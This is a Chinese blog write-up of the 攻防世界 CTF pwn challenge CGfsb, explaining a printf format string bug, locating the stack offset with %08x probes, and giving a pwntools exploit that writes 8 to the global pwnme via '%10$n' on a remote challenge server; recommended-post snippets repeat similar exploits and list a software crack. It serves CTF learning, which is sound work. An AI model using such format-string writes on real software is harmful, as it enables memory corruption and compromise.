攻防世界pwn-CGfsb

攻防世界-pwn CGfsb (格式化字符串) 0x01 拿到题目之后首先分析文件 得到信息: 32bit ELF可执行文件 未开启PIE(即静态反汇编得地址可以直接使用) 0x02 执行文件 执行文件之后发现程序接收两个输入并将其原样输出   0x03 利用IDA反汇编 发现flag,需要将pwnme的值改为8才能拿到flag 通过查找发现pwnme在bss段,并且在程序之中用到了printf,可以考虑用格式化串漏洞将... 阅读详情

刚步入pwn,今天来讲一下攻防世界的pwn-CGfsb这道题。

下载附件,在kali里面查该附件是多少位程序以及有没有壳。判断该文件是32位程序且无壳

运行该文件我们发现它让我们输入名字和信息,然后再打印出来,然后退出结束。

 用ida打开这个文件,F5反编译查看主函数伪代码。

我们可以看出这个字符buf和s,是作为名字和信息的;如果pwnme==8,则输出flag值。

 这个printf输出s时,没有使用正确的格式化参数,比如printf(str)而不是printf("%s", str),这样就可能具有格式化漏洞。来看代码,主函数里有一个printf(s)的调用,这里的s是一个字符数组,之前用fgets(s, 100, stdin)读取我们的输入。这里的问题是,如果我们输入的s包含格式化字符串,比如%x或者%n,那么当调用printf(s)的时候,这些格式化占位符会被解析,可能导致信息泄露或内存覆盖,所以这里可能就是存在漏洞的地方。

双击跟进 pwnme 可以发现这是 bss 段上的全局变量:

 我们的目的也很明确了,通过格式化字符串漏洞修改pwnme的值使其等于8。

确定栈中可控参数的偏移量

输入(输入多个 %08x是为了覆盖足够多的栈位置,确保探测到用户输入的 AAAA。)

AAAA%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x

输出

AAAAff8be77e-f7f3b5c0-ff8be7dc-00000000-f7f72770-0804826c-687ae7dc-73676e61-000a6e61-41414141-78383025-3830252d-30252d78

41414141(即 AAAA)出现在输出的第 10 个位置(从 0 开始计数为第 9 个)。

用户输入的格式化字符串参数在栈上的偏移量为 10。

 确定目标全局变量pwnme 的地址 target_address 了,IDA 中给出了地址 0x0804A068,因为没有 PIE 保护,所以 IDA 所展示的地址即是程序运行时所用的地址。

综上,payload可以构造出来了

from pwn import *

p = remote('223.112.5.141', 59484)
addr_pwnme = 0x0804A068
p.recvuntil("please tell me your name:\n")
p.sendline('J1ay')
payload = p32(addr_pwnme) + b'a'*0x4 + b'%10$n'
p.recvuntil("leave your message please:\n")
p.sendline(payload)
p.interactive()

攻防世界(pwn篇)---CGfsb 攻防世界(pwn篇)—CGfsb 文章目录攻防世界(pwn篇)---CGfsb题目描述基本情况分析运行分析IDA 分析格式化字符串漏洞分析出payload找一下 s 的偏移量再看一看 pwnme 的地址exp 题目描述 菜鸡面对着pringf发愁,他不知道prinf除了输出还有什么作用 基本情况分析 checksec命令可以查看可执行文件开启的保护 1.RELRO: RELRP会有Pratial RELRO 和FULL RELRO,如果开启FULL RELRO,意味着我们无法修改got表 2.S 阅读详情

相关推荐

攻防世界 - Misc - Level 3 - Miscellaneous-300

本关考察的是 MISC 中的音频隐写相关的内容,通过此关,你可以学习到以下知识点: - ZIP 递归破解脚本 Python 编写。 - ZIP 文件密钥爆破工具 ARCHDR 的使用,以下是 CTF 推荐的爆破流程: - 设置长度 4-6 位(可以浮动,但不用太长,过长的一般不会出现在 CTF 中)。 - 纯数字爆破。 - 大小写字母爆破。 - 混合符号爆破。 - Audacity 查看音频 “频谱图”。

攻防世界-CGfsb

看看附件,先在本地环境打一下,先放入kali查看一下版本: 再查看一下保护机制: 可以看出该程序是32位的,保护机制的解释如下:【1】RELRO:RELRO会有Partial RELRO和FULL RELRO,如果开启FULL RELRO,意味着我们无法修改got表。【2】Stack:如果栈中开启Canary found,那么就不能用直接用溢出的方法覆盖栈中返回地址,而且要通过改写指针与局部变量、leak canary、overwrite canary的方法来绕过。【3】NX:NX enabled

yuqie的博客 731

XCTF攻防世界misc整合[可运行源码]

本文详细整理了XCTF攻防世界misc难度一的所有题目解题过程,包括47道题目的详细分析和解题方法。内容涵盖了多种隐写术、密码学、流量分析等技术,如LSB隐写、Base编码、凯撒密码、培根密码、Rabbit编码、Ook编码、栅栏密码、Brainfuck编码、云影密码、希尔密码等。文章提供了每道题目的解题思路、工具使用方法和相关脚本代码,如使用binwalk、Stegsolve、010 Editor、Wireshark等工具进行分析,以及Python脚本处理数据。此外,还包含了题目资源的下载链接和参考文档,适合CTF初学者学习和参考。最后作者总结了整体难度和学习建议,强调了多刷题对提高技能的重要性。

攻防世界-CGfsb详细知识点及解答

做这道题的时候,对于格式化字符串的知识要有一定了解,不然的话,就要像我一样,忙来忙去,很麻烦的如何利用格式化字符串呢?我做了一些知识总结。格式化字符串攻击(Format String Vulnerabilities,简称FSV)是指攻击者通过构造恶意格式化字符串控制符,在程序中读写不该被访问的内存区域、获取敏感信息等操作。攻击者通常利用以下方式来实施格式化字符串攻击:(1)打印栈上的数据。

m0_74047686的博客 1008

STM32 ADC+DMA实战:手把手教你驱动XGZP6847A压力传感器(附完整代码)

本文详细介绍了如何使用STM32的ADC和DMA外设驱动XGZP6847A压力传感器,包括硬件连接、ADC配置、DMA高效传输实现以及数据处理与校准方法。通过实战案例和完整代码,帮助开发者快速掌握高精度压力数据采集技术,适用于工业控制和医疗设备等领域。

weixin_42570484的博客 404

OV5640摄像头DVP与MIPI接口配置实战:从30Hz到60Hz的性能优化指南

本文详细解析了OV5640摄像头在DVP与MIPI接口下的60Hz性能优化方法,重点解决720p分辨率下帧率仅30Hz的常见问题。通过精确配置时钟树、传感器寄存器和接口参数,提供DVP与MIPI接口的实战配置代码,并分享调试工具与性能验证技巧,帮助开发者实现稳定的60fps输出。

weixin_29223603的博客 1301

CTF PWN-攻防世界CGfsb格式化字符串漏洞

距离 2021 年年底短暂接触学习 CTF PWN 相关知识(CTF PWN-攻防世界XCTF新手区WriteUp)已经是快 2 年前的事了,这期间就连攻防世界社区的站点都发生巨大变化了……为了学习终端领域底层漏洞的挖掘和利用技术,继续积累 PWN 相关知识。

道阻且长,行则将至 3729

STM32 RC522串口驱动程序 (简单直接)

rc522作为使用非常多的读写卡芯片,使用SPI芯片读写应用已经非常广了。但有些时候我们只有串口可以使用,或者我们觉得串口使用更加方便,那么就必须要编写串口的驱动程序。不过很难找到可以直接使用的串口程序。所以在此将我这边写好的串口驱动写好如下: 直接上代码 下面是RC522.C的驱动文件。支持读写卡号8位数据。rc522用的是stm32 的串口3,调试显示是串口1; #include "rc522.h" #include "delay.h" /////////////////////////////////

qq_42074368的博客 9001

攻防世界CGfsb

我只简单讲一下:当未使用占位符直接printf(s)进行输出时存在安全隐患,堆栈中没有占位符来和格式化字符串中的参数进行替换,我们可以通过%n格式(将已经输出的字符数写入参数)和$(程序遇到一个占位符,就按顺序向后寻找参数,但是我们可以使用数字+$的形式,直接指定参数相对于格式化字符串的偏移)来修改指定内存单元中字段的值。在我们格式化字符串漏洞利用中,常用%p来泄露地址,%x也都可以,只是显示的数据为十六进制,这里显示的是ascii码,A的ascill码为41,数出在第十个参数位置,即偏移量为10。

weixin_73399382的博客 481

Polyworks脚本开发学习笔记(十五)-用Python连接Polyworks的COM组件

Polyworks脚本开发学习笔记(十五)-利用Python连接Polyworks的COM组件

qq_43662503的博客 2503

《华为项目管理之道》第1章笔记

performance indicator,KPI)纳入个人绩效承诺书,贯彻结果导向的理念,以向员工。客户需求是华为发展的原动力,为客户服务是华为存在的唯一理由。目经理‘用兵’,依靠市场机制‘调兵’”,打破了人员在功能部门的板结,实现了听得。为管理者选拔的必要条件,项目经理成为人人向往的岗位。《华为项目管理之道》,是新出的华为官方的项目管理书,整个书不错。伴随着项目型组织的建立,华为逐步形成了完备的项目管理流程和制度,从而将业务运。为此,通过改革,重新明确了项目经理承担的经营责任,并开始以项。

jackyrongvip的专栏 2127

攻防世界 pwn cgfsb writeup

攻防世界pwn——cgfsb 这一题是关于格式化字符串漏洞的题,是一个单一漏洞题,不需要太多的绕过。 拿到题目首先查看一下保护: 可以看到,这是一个32位的程序。 并且开启了Canary保护和NX保护。 我们看一下IDA: 进入IDA,按下F5可以得到伪C代码: 可以看到有一个格式化漏洞printf(&s),我们可以通过这条语句把pwnme的值改为8,就可以的到flag了。 打开gdb...

PLpa的博客 2031

PP触发EWM产生PMR捡配

PP触发EWM产生PMR捡配 前言 PMR: Production Material Request 在流程订单/生产订单下达后,可以在EWM中产生PMR,在EWM中, PMR其实代表了ERP中的流程订单/生产订单。 You can use SAP EWM in conjunction with the following PP application components: • Production Orders • Process Orders • Repetitive Manufacturing •

ZevYang的博客 1918

【攻防世界pwn-CGfsb】

首先检查文件保护 将文件拖入32位ida 阅读代码后,发现这是一个简单的格式化字符串漏洞,通过修改pwnme的数值为8,直接执行cat flag。pwnme在0x0804A068的位置。 随后用gdb确认偏移,有两种方法,一种是直接数栈上的位置,另一种是输入AAAA.%x.%x.%x查看。我采用第一种。 栈上是第11个位置,但是由于第一个位置参数是格式化字符串,所以输入的AAAA其实是格式化字符串的第10个参数。 开始编写攻击脚本。 from pwn import ...

a_silly_coder的博客 449

疾病负担研究(GBD)——如何使用joinpoint软件计算AAPC

疾病负担研究(GBD)——如何使用joinpoint软件计算AAPC

weixin_44240228的博客 1万+

微信小程序消息推送全攻略:从模板消息到订阅消息的实战避坑指南

本文深入解析微信小程序消息推送机制,对比模板消息、订阅消息与客服消息的核心差异与适用场景。重点提供订阅消息从用户授权设计、前端代码实现到后端稳定发送的完整实战指南,并分享提升消息点击率的文案与运营技巧,帮助开发者构建高效、用户友好的消息推送体系。

b3n4m5q6w7的博客 336

攻防世界PWN-CGfsb

题目:CGfsb 先下载附件 先确保本地的python有pwntools模块(pip install pwntools),模块安装后会有一个checksec命令,可以用该命令查看文件的基本信息 1.扔文件进kali,使用checksec 命令查看其具体内容 几个重要参数: Arch 程序架构信息,判断是64位还是32位,exp编写的时候是p64还是p32 RELRO Relocation Read-Onl(RELRO)此项技术主要针对GOT改写的攻击方式,它分成两种,Partial RELRO

Deeeelete的博客 561

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

攻防世界PWN--CGfsb

首先checksec 32位/ 开了 Canary/NX保护 再运行一下 大致就是这个流程 接下来ida里面 分析C代码 分析前先get一下格式化字符串漏洞的基础知识 举3个常见的相关函数 fprintf----prints to a FILE stream printf----prints to the 'stdout' stream sprintf--prints into a string 常见语法 %d---打印 signed int %u---打印 u...

Rt1Text的博客 3583

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

攻防世界pwn—CGFsb

先看一下文件是32位的,再查看一下程序的保护机制 发现栈的保护开启,程序会在栈里放入一个canary,返回时检测canary是否发生变化 我们先运行一下程序看一下逻辑 在IDA中打开查看伪代码,发现如果pwnme=8,就可以到得到flag 此处要利用格式化字符串漏洞,使用%n格式修改任意地址内容,把前面已经打印的长度写入某个内存地址中去。 在这里设置断点 查看一下pwnme的地址 在wr...

nzw1134864657的博客 437

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

XCTF 攻防世界 pwn CGfsb

XCTF 攻防世界 pwn CGfsb 题目流程 printf(&s) 明显的format string 漏洞 修改pwnme的值为8 完整的ex

stareforever的博客 2万+

[攻防世界 pwn]——CGfsb

[攻防世界 pwn]——CGfsb 题目地址: https://adworld.xctf.org.cn/ 题目: 这是一道简单的格式化字符串问题, 详情请参考点点我呀,参考就是我 在pwndbg中调试, 偏移为 0xa = 10 exploit from pwn import * #p = process("./e41a0f684d0e497f87bb309f91737e4d") p = remote("111.200.241.244",57659) #gdb.attach(p, "b *0x0

Y_peak的博客 267

攻防世界 Pwn CGfsb

攻防世界pwn CGfsb1.先看保护机制2.看一下源代码有什么漏洞3.看一下格式化字符串溢出长度4.看一下pwnme的地址5.exp 1.先看保护机制 2.看一下源代码有什么漏洞 这里很明显是格式化字符串 看到这里发现程序需要pwnme==8才可以拿到flag 3.看一下格式化字符串溢出长度 输入数据后gdb调试数一下 offset=10 4.看一下pwnme的地址 那思路就是利用格式化字符串的%n写个8到pwnme中就好了 5.exp from pwn import * #a=process(

MrTreebook的博客 281

攻防世界pwn——CGfsb

攻防世界pwn——CGfsb

qq_62076255的博客 387

[PWN](攻防世界)CGfsb

分析程序漏洞 32位的程序,有 Canary 防护措施,栈不可执行技术 由于没有开启PIE,可以通过格式化字符串漏洞直接修改存在于 .bss 段的 pwnme 变量的值为 8,从而劫持程序执行流,执行system("cat flag);语句,获取 flag 利用程序 from pwn import * context(arch = 'amd64') context(log_level = 'DEBUG') context(terminal = ['deepin-terminal', '-x', '

ljh15937的博客 332

攻防世界pwn新手练习(CGfsb)

CGfsb ok,按照惯例,拿到程序后先扔到Linux下查一下基本信息 32位程序,开了NX(堆栈不可执行)以及CANNARY(栈保护) 貌似有一丝丝头疼嗷,咱们运行一下,看看它的程序逻辑 唔,是一个留言板,可以输入的地方有两处,一处是名字,一处是留言内容。ok,可以扔进IDA分析了。 F5后直接看程序伪代码 很明显,我们需要让pwnme这个变量的值等于8,然后便可以拿到flag文件中的东西,...

BurYiA的博客 1983

攻防世界新手pwn题:CGfsb (格式化字符串漏洞)初解

攻防世界新手pwn题:CGfsb (格式化字符串漏洞)初解 在开始看这题之前,可以看CTF-wiki中有关格式化字符串漏洞的利用[link]https://wiki.x10sec.org/pwn/fmtstr/fmtstr_exploit/ 这边就简单的介绍格式化字符串中覆盖内存的方式:%n$n,这串字符的意思是将前面打印的字符个数,写入到第n个指针对应的地址中,下面就以CGfsb这题来举个例子 ...

qq_35066257的博客 1022
上一篇: 堆和栈学习
下一篇: 文件格式模糊测试(含Radamsa安装教程)
lyh6613
博客等级 码龄2年 63粉丝 13原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值